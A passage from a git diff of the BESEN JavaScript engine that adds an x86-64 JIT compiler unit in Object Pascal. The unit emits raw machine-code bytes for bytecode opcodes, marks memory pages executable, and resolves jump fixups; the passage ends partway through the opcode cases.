needed, for example, for complex byte + code instructions which are more trouble than it's worth to compile these to native code. + + 4. The virtual byte code interpreter VM registers are used instead the native platform target CPU + registers, for to keep the fallback-to-byte-code-instruction-dispatcher-function-stuff simple just + much as possible. + + 5. The from the JIT generated native code can be self-modifying, for example at the monomorphic and + polymorphic inline caching based byte code instructions, by modifying some index constant values + at some native code instruction opcode arguments. But this is optional, since the byte code itself + is also self-modifying in this monomorphic and polymorphic inline caching context. It's mostly a + trade-off, which way performs better on which target platform CPU architecture. + + 6. A byte-code-instruction-offset <-> native-code-instruction-offset map must be generated and used + for the jump-in-to-random-code-position-usage and for the effective use of the fallback-to-byte- + code-instruction-dispatcher-function-stuff. + +} + +uses BESEN,BESENValue,BESENASTNodes,BESENCode,BESENCodeContext,BESENContext,BESENOpcodes, + BESENGarbageCollector,BESENNumberUtils,BESENLexicalEnvironment, + BESENDeclarativeEnvironmentRecord,BESENNativeCodeMemoryManager; + +function BESENGenerateNativeCode(ACodeContext:TObject):TBESENBoolean; +begin + result:=false; +end; + +function BESENExecuteNativeCode(ACodeContext:TObject):TBESENBoolean; {$ifdef UseRegister}register;{$endif} +begin + result:=false; +end; + +end. diff --git a/Core/JS/BESENCodeJITx64.pas b/Core/JS/BESENCodeJITx64.pas new file mode 100644 index 0000000..1fc74fe --- /dev/null +++ b/Core/JS/BESENCodeJITx64.pas @@ -0,0 +1,2229 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENCodeJITx64; +{$i BESEN.inc} + +interface + +uses {$ifdef windows}Windows,MMSystem,{$endif}{$ifdef unix}dl,BaseUnix,Unix, + UnixType,{$endif}BESENConstants,BESENTypes; + +{$ifdef HasJIT} +{$ifdef cpuamd64} +function BESENGenerateNativeCode(ACodeContext:TObject):TBESENBoolean; +function BESENExecuteNativeCode(ACodeContext:TObject):TBESENBoolean; {$ifdef UseRegister}register;{$endif} +{$endif} +{$endif} + +implementation + +{ + +Register layout: + + rbx = Offset to instance + r12 = Offset to code context + r13 = Offset to byte code <-> native code offset mapping map array + r14 = Offset to virtual VM registers + r15 = Offset to local hash table (only at function code, not at global code!) + others = for various temporary usage + +} + +{$ifdef HasJIT} +{$ifdef cpuamd64} +uses BESEN,BESENValue,BESENASTNodes,BESENCode,BESENCodeContext,BESENContext,BESENOpcodes, + BESENGarbageCollector,BESENNumberUtils,BESENLexicalEnvironment, + BESENDeclarativeEnvironmentRecord,BESENNativeCodeMemoryManager; + +function BESENGenerateNativeCode(ACodeContext:TObject):TBESENBoolean; +type TFixupKind=(fkPTR,fkRET,fkOFS); + TFixup=record + Kind:TFixupKind; + Ofs:integer; + Dest:pointer; + ToOfs:integer; + end; + TFixups=array of TFixup; +var Fixups:TFixups; + CountFixups,i:integer; + Offsets:array of longword; + Opcode:byte; + Instruction:TBESENUINT32; + CodeBuffer:TBESENBytes; + CodeBufferLen:integer; + CurrentPC,Temp,RetOfs,Literal:longword; + CodeBegin,CodeEnd:pointer; + ByteCode:PBESENUINT32Array; + Operands:PBESENINT32Array; + Code:TBESENCode; + CodeContext:TBESENCodeContext; + v:TBESENValue; + procedure Add(const s:TBESENANSISTRING); + begin + if length(s)>0 then begin + if (CodeBufferLen+length(s))>=length(CodeBuffer) then begin + SetLength(CodeBuffer,(CodeBufferLen+length(s)+4096) and not 4095); + end; + move(s[1],CodeBuffer[CodeBufferLen],length(s)); + inc(CodeBufferLen,length(s)); + end; + end; + procedure AddCode(CodeBegin,CodeEnd:pointer); + var CodeLen:ptrint; +{$ifdef windows} + OldProtect,OldProtectDummy:longword; + OK:boolean; +{$endif} + begin + CodeLen:=ptrint(ptruint(CodeEnd)-ptruint(CodeBegin)); + if CodeLen>0 then begin +{$ifdef windows} + OK:=VirtualProtect(CodeBegin,CodeLen,PAGE_EXECUTE_READWRITE,OldProtect); +{$endif} +{$ifdef unix} + fpmprotect(CodeBegin,CodeLen,PROT_READ or PROT_WRITE or PROT_EXEC); +{$endif} + if (CodeBufferLen+CodeLen)>=length(CodeBuffer) then begin + SetLength(CodeBuffer,(CodeBufferLen+CodeLen+4096) and not 4095); + end; + move(CodeBegin^,CodeBuffer[CodeBufferLen],CodeLen); + inc(CodeBufferLen,CodeLen); +{$ifdef windows} + if OK then begin + VirtualProtect(CodeBegin,CodeLen,OldProtect,OldProtectDummy); + end; +{$endif} + end; + end; + procedure AddDWord(const v:longword); + begin + if (CodeBufferLen+sizeof(longword))>=length(CodeBuffer) then begin + SetLength(CodeBuffer,(CodeBufferLen+sizeof(longword)+4096) and not 4095); + end; + move(v,CodeBuffer[CodeBufferLen],sizeof(longword)); + inc(CodeBufferLen,sizeof(longword)); + end; + procedure AddQWord(const v:qword); + begin + if (CodeBufferLen+sizeof(qword))>=length(CodeBuffer) then begin + SetLength(CodeBuffer,(CodeBufferLen+sizeof(qword)+4096) and not 4095); + end; + move(v,CodeBuffer[CodeBufferLen],sizeof(qword)); + inc(CodeBufferLen,sizeof(qword)); + end; + procedure AddPtr(const v:pointer); + begin + if (CodeBufferLen+sizeof(ptruint))>=length(CodeBuffer) then begin + SetLength(CodeBuffer,(CodeBufferLen+sizeof(ptruint)+4096) and not 4095); + end; + move(v,CodeBuffer[CodeBufferLen],sizeof(ptruint)); + inc(CodeBufferLen,sizeof(ptruint)); + end; + procedure AddDispatcher; + var Temp:qword; + CodeBegin,CodeEnd:pointer; + begin + case Opcode of + bopEND,bopJZ,bopJNZ,bopJNULL,bopLOOPENUM,bopTRACE,bopJZERO,bopJNZERO:begin + Add(#$41#$c7#$84#$24); // mov dword ptr [r12+TBESENCodeContext.PC],CurrentPC + asm + push rax + mov rax,offset TBESENCodeContext.PC + mov qword ptr Temp,rax + pop rax + end; + AddDWord(Temp); + AddDWord(CurrentPC); + end; + end; + +{$ifdef windows} + Add(#$4c#$89#$e1); // mov rcx,r12 +{$else} + Add(#$4c#$89#$e7); // mov rdi,r12 +{$endif} + +{$ifdef windows} + Add(#$48#$ba); // mov rdx,Operands +{$else} + Add(#$48#$be); // mov rsi,Operands +{$endif} + AddPtr(Operands); + + // mov rax,OpcodeDispatcher + Add(#$48#$b8); + AddPtr(BESENCodeContextOpcodes[Opcode]); + + // call rax + Add(#$ff#$d0); + + case Opcode of + bopEND,bopTRACE,bopENDF:begin + if (Opcode<>bopEND) or (Operands^[0]=0) then begin + asm + jmp @Skip + @CodeBegin: + cmp dword ptr [r12+TBESENCodeContext.BlockRunning],0 + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + + Add(#$0f#$84); // jz RET + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkRET; + Fixups[CountFixups].Ofs:=CodeBufferLen; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + end; + end; + + case Opcode of + bopEND,bopENDF,bopJMP,bopJZ,bopJNZ,bopJNULL,bopLOOPENUM,bopJZERO,bopJNZERO:begin + asm + jmp @Skip + @CodeBegin: + xor rax,rax + mov eax,dword ptr [r12+TBESENCodeContext.PC] + jmp qword ptr [r13+rax*8] + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + end; + + end; +begin + result:=false; + try + CodeContext:=TBESENCodeContext(ACodeContext); + Code:=TBESENCode(CodeContext.Code); + if assigned(Code.NativeCode) then begin + TBESEN(CodeContext.Instance).NativeCodeMemoryManager.FreeMemory(Code.NativeCode); + Code.NativeCode:=nil; + Code.NativeCodeSize:=0; + end; + CodeBuffer:=nil; + CodeBufferLen:=0; + CurrentPC:=0; + Fixups:=nil; + CountFixups:=0; + Offsets:=nil; + ByteCode:=@Code.ByteCode[0]; + SetLength(Offsets,Code.ByteCodeLen); + while CurrentPC<TBESENUINT32(Code.ByteCodeLen) do begin + Offsets[CurrentPC]:=CodeBufferLen; + Instruction:=ByteCode^[CurrentPC]; + Operands:=@ByteCode^[CurrentPC+1]; + inc(CurrentPC,1+(Instruction shr 8)); + Opcode:=Instruction and $ff; + + case Opcode of + bopSTOP:begin + asm + jmp @Skip + @CodeBegin: + mov dword ptr [r12+TBESENCodeContext.BlockRunning],0 + mov dword ptr [r12+TBESENCodeContext.Running],0 + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + + Add(#$e9); // jmp to code end + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkRET; + Fixups[CountFixups].Ofs:=CodeBufferLen; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + bopNEW:begin + AddDispatcher; + end; + bopCALL:begin + AddDispatcher; + end; + bopEND:begin + if (Code.MaxBlock=0) and (Operands^[0]=0) then begin + asm + jmp @Skip + @CodeBegin: + mov dword ptr [r12+TBESENCodeContext.BlockRunning],0 + mov dword ptr [r12+TBESENCodeContext.Running],0 + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + + Add(#$e9); // jmp to code end + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkRET; + Fixups[CountFixups].Ofs:=CodeBufferLen; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end else begin + AddDispatcher; + end; + end; + bopVREF:begin + AddDispatcher; + end; + bopLREF:begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtLOCAL + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtLOCAL); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.LocalIndex],LocalIndex + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.LocalIndex))-ptruint(pointer(@v)))); + AddDWord(Operands^[1]); + end; + bopNOP:begin + end; + bopCOPY:begin + AddDispatcher; + end; + bopNEQ:begin + AddDispatcher; + end; + bopNSEQ:begin + AddDispatcher; + end; + bopAREF:begin + AddDispatcher; + end; + bopTHROW:begin + AddDispatcher; + end; + bopSETC:begin + AddDispatcher; + end; + bopGETC:begin + AddDispatcher; + end; + bopTHIS:begin + AddDispatcher; + end; + bopOBJECT:begin + asm + jmp @Skip + @CodeBegin: + mov rax,qword ptr [rbx+TBESEN.ObjectConstructor] + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtOBJECT + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtOBJECT); + + Add(#$49#$89#$86); // mov qword ptr [r14+RegisterOfs+TBESENValue.Obj],rax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v)))); + end; + bopARRAY:begin + asm + jmp @Skip + @CodeBegin: + mov rax,qword ptr [rbx+TBESEN.ObjectArrayConstructor] + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtOBJECT + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtOBJECT); + + Add(#$49#$89#$86); // mov qword ptr [r14+RegisterOfs+TBESENValue.Obj],rax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v)))); + end; + bopREGEXP:begin + asm + jmp @Skip + @CodeBegin: + mov rax,qword ptr [rbx+TBESEN.ObjectRegExpConstructor] + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtOBJECT + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtOBJECT); + + Add(#$49#$89#$86); // mov qword ptr [r14+RegisterOfs+TBESENValue.Obj],rax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v)))); + end; + bopREF:begin + AddDispatcher; + end; + bopGETVALUE:begin + AddDispatcher; + end; + bopLOOKUP:begin + AddDispatcher; + end; + bopPUTVALUE:begin + AddDispatcher; + end; + bopDELETE:begin + AddDispatcher; + end; + bopTYPEOF:begin + AddDispatcher; + end; + bopTOOBJECT:begin + AddDispatcher; + end; + bopTONUMBER:begin + AddDispatcher; + end; + bopTOBOOLEAN:begin + AddDispatcher; + end; + bopTOSTRING:begin + AddDispatcher; + end; + bopTOPRIMITIVE:begin + AddDispatcher; + end; + bopNEG:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$f2#$41#$0f#$11#$86); // movsd qword ptr [r14+RegisterOfs+TBESENValue.Num],xmm0 + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$41#$81#$b6); // xor dword ptr [r14+RegisterOfs+TBESENValue.Num+4],$80000000 + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+((ptruint(pointer(@v.Num))+4)-ptruint(pointer(@v)))); + AddDWord($80000000); + end; + bopINV:begin + AddDispatcher; + end; + bopNOT:begin + Add(#$41#$8b#$86); // mov eax,dword ptr [r14+RegisterOfs+TBESENValue.Bool] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + + asm + jmp @Skip + @CodeBegin: + cmp eax,$01 + sbb eax,eax + neg eax + neg al + sbb eax,eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + + if Operands^[0]<>Operands^[1] then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + end; + + Add(#$41#$89#$86); // mov dword ptr [edi+RegisterOfs+TBESENValue.Bool],eax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + end; + bopMUL:begin + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$f2#$41#$0f#$59#$86); // mulsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$f2#$41#$0f#$11#$86); // movsd qword ptr [r14+RegisterOfs+TBESENValue.Num],xmm0 + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopDIV:begin + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$f2#$41#$0f#$5e#$86); // divsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$f2#$41#$0f#$11#$86); // movsd qword ptr [r14+RegisterOfs+TBESENValue.Num],xmm0 + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopMOD:begin + AddDispatcher; + end; + bopADD:begin + AddDispatcher; + end; + bopADDNUM:begin + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$f2#$41#$0f#$58#$86); // addsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$f2#$41#$0f#$11#$86); // movsd qword ptr [r14+RegisterOfs+TBESENValue.Num],xmm0 + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopSUB:begin + if (Operands^[0]<>Operands^[1]) and (Operands^[0]<>Operands^[2]) then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$f2#$41#$0f#$10#$86); // movsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$f2#$41#$0f#$5c#$86); // subsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[2]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$f2#$41#$0f#$11#$86); // movsd qword ptr [r14+RegisterOfs+TBESENValue.Num],xmm0 + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopSHL:begin + AddDispatcher; + end; + bopSHR:begin + AddDispatcher; + end; + bopUSHR:begin + AddDispatcher; + end; + bopLT:begin + AddDispatcher; + end; + bopGT:begin + AddDispatcher; + end; + bopLE:begin + AddDispatcher; + end; + bopGE:begin + AddDispatcher; + end; + bopINSTANCEOF:begin + AddDispatcher; + end; + bopIN:begin + AddDispatcher; + end; + bopEQ:begin + AddDispatcher; + end; + bopSEQ:begin + AddDispatcher; + end; + bopBAND:begin + AddDispatcher; + end; + bopBXOR:begin + AddDispatcher; + end; + bopBOR:begin + AddDispatcher; + end; + bopSENUM:begin + AddDispatcher; + end; + bopSWITH:begin + AddDispatcher; + end; + bopSCATCH:begin + AddDispatcher; + end; + bopENDF:begin + AddDispatcher; + end; + bopJMP:begin + if longword(Operands^[0])<>CurrentPC then begin + Add(#$e9); // jmp Arg + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkOFS; + Fixups[CountFixups].Ofs:=CodeBufferLen; + Fixups[CountFixups].ToOfs:=Operands^[0]; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + end; + bopJZ:begin + if longword(Operands^[0])<>CurrentPC then begin + Add(#$41#$83#$be); // cmp dword ptr [r14+RegisterOfs+TBESENValue.Bool],0 + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + Add(#$00); + + Add(#$0f#$85); // jnz Arg + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkOFS; + Fixups[CountFixups].Ofs:=CodeBufferLen; + Fixups[CountFixups].ToOfs:=Operands^[0]; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + end; + bopJNZ:begin + if longword(Operands^[0])<>CurrentPC then begin + Add(#$41#$83#$be); // cmp dword ptr [r14+RegisterOfs+TBESENValue.Bool],0 + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + Add(#$00); + + Add(#$0f#$84); // jnz Arg + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkOFS; + Fixups[CountFixups].Ofs:=CodeBufferLen; + Fixups[CountFixups].ToOfs:=Operands^[0]; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + end; + bopJNULL:begin + AddDispatcher; + end; + bopLOOPENUM:begin + AddDispatcher; + end; + bopSTRYC:begin + AddDispatcher; + end; + bopSTRYF:begin + AddDispatcher; + end; + bopLITERALUNDEF:begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtUNDEFINED + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtUNDEFINED); + end; + bopLITERALNULL:begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtNULL + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNULL); + end; + bopLITERALBOOL:begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtBOOLEAN + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtBOOLEAN); + + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],Bool + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Bool))-ptruint(pointer(@v)))); + if Operands^[1]<>0 then begin + AddDWord(longword(pointer(@BESENLongBooleanValues[true])^)); + end else begin + AddDWord(longword(pointer(@BESENLongBooleanValues[false])^)); + end; + end; + bopLITERALNUM:begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + + Add(#$48#$b8); // mov rax,offset Num + AddPtr(@Code.Literals[Operands^[1]].Num); + + Add(#$f2#$0f#$10#$00); // movsd xmm0,qword ptr [rax] + + Add(#$f2#$41#$0f#$11#$86); // movsd qword ptr [r14+RegisterOfs+TBESENValue.Num],xmm0 + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + end; + bopLITERALSTR:begin + AddDispatcher; + end; + bopLITERALOBJ:begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtOBJECT + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtOBJECT); + + Add(#$48#$b8); // mov rax,Obj + AddPtr(Code.Literals[Operands^[1]].Obj); + + Add(#$49#$89#$86); // mov qword ptr [r14+RegisterOfs+TBESENValue.Obj],rax + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.Obj))-ptruint(pointer(@v)))); + end; + bopFUNC:begin + AddDispatcher; + end; + bopLINE:begin + Add(#$b8); // mov eax,Arg + AddDWord(Code.Locations[Operands^[0]].LineNumber); + + asm + jmp @Skip + @CodeBegin: + mov dword ptr [rbx+TBESEN.LineNumber],eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopGC:begin + AddDispatcher; + end; + bopSTRICT:begin + Add(#$b8); // mov eax,Arg + AddDWord(longword(BESENLongBooleanValues[Operands^[0]<>0])); + + asm + jmp @Skip + @CodeBegin: + mov dword ptr [rbx+TBESEN.IsStrict],eax + @CodeEnd: + @Skip: + push rax + mov rax,offset @CodeBegin + mov qword ptr CodeBegin,rax + mov rax,offset @CodeEnd + mov qword ptr CodeEnd,rax + pop rax + end; + AddCode(CodeBegin,CodeEnd); + end; + bopSTRICTCHECKREF:begin + if not Code.Body.IsStrict then begin + Add(#$41#$8b#$86); // mov eax,dword ptr [r14+RegisterOfs+TBESENValue.ReferenceIsStrict] + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ReferenceIsStrict))-ptruint(pointer(@v)))); + + Add(#$85#$c0); // test eax,rax + + Add(#$0f#$84); // jz Arg + if CountFixups>=length(Fixups) then begin + SetLength(Fixups,CountFixups+4096); + end; + Fixups[CountFixups].Kind:=fkOFS; + Fixups[CountFixups].Ofs:=CodeBufferLen; + Fixups[CountFixups].ToOfs:=CurrentPC; + inc(CountFixups); + Add(#$00#$00#$00#$00); + end; + + AddDispatcher; + end; + bopDEBUGGER:begin + if TBESEN(CodeContext.Instance).CodeTracable then begin + AddDispatcher; + end; + end; + bopCHECKOBJECTCOERCIBLE:begin + AddDispatcher; + end; + bopPUTOBJVALUE:begin + AddDispatcher; + end; + bopPUTOBJGET:begin + AddDispatcher; + end; + bopPUTOBJSET:begin + AddDispatcher; + end; + bopINC:begin + if Operands^[0]<>Operands^[1] then begin + Add(#$41#$c7#$86); // mov dword ptr [r14+RegisterOfs+TBESENValue.ValueType],bvtNUMBER + AddDWord(ptruint(Operands^[0]*sizeof(TBESENValue))+(ptruint(pointer(@v.ValueType))-ptruint(pointer(@v)))); + AddDWord(bvtNUMBER); + end; + + Add(#$48#$b8); // mov rax,offset BESENDoubleOne + AddPtr(@BESENDoubleOne); + + Add(#$f2#$0f#$10#$00); // movsd xmm0,qword ptr [rax] + + Add(#$f2#$41#$0f#$58#$86); // addsd xmm0,qword ptr [r14+RegisterOfs+TBESENValue.Num] + AddDWord(ptruint(Operands^[1]*sizeof(TBESENValue))+(ptruint(pointer(@v.Num))-ptruint(pointer(@v)))); + + Add(#$f2#$41#$0f#$11#$86); // movsd qword ptr [r14+RegisterOfs+TBESENValue.Num],xmm0 + 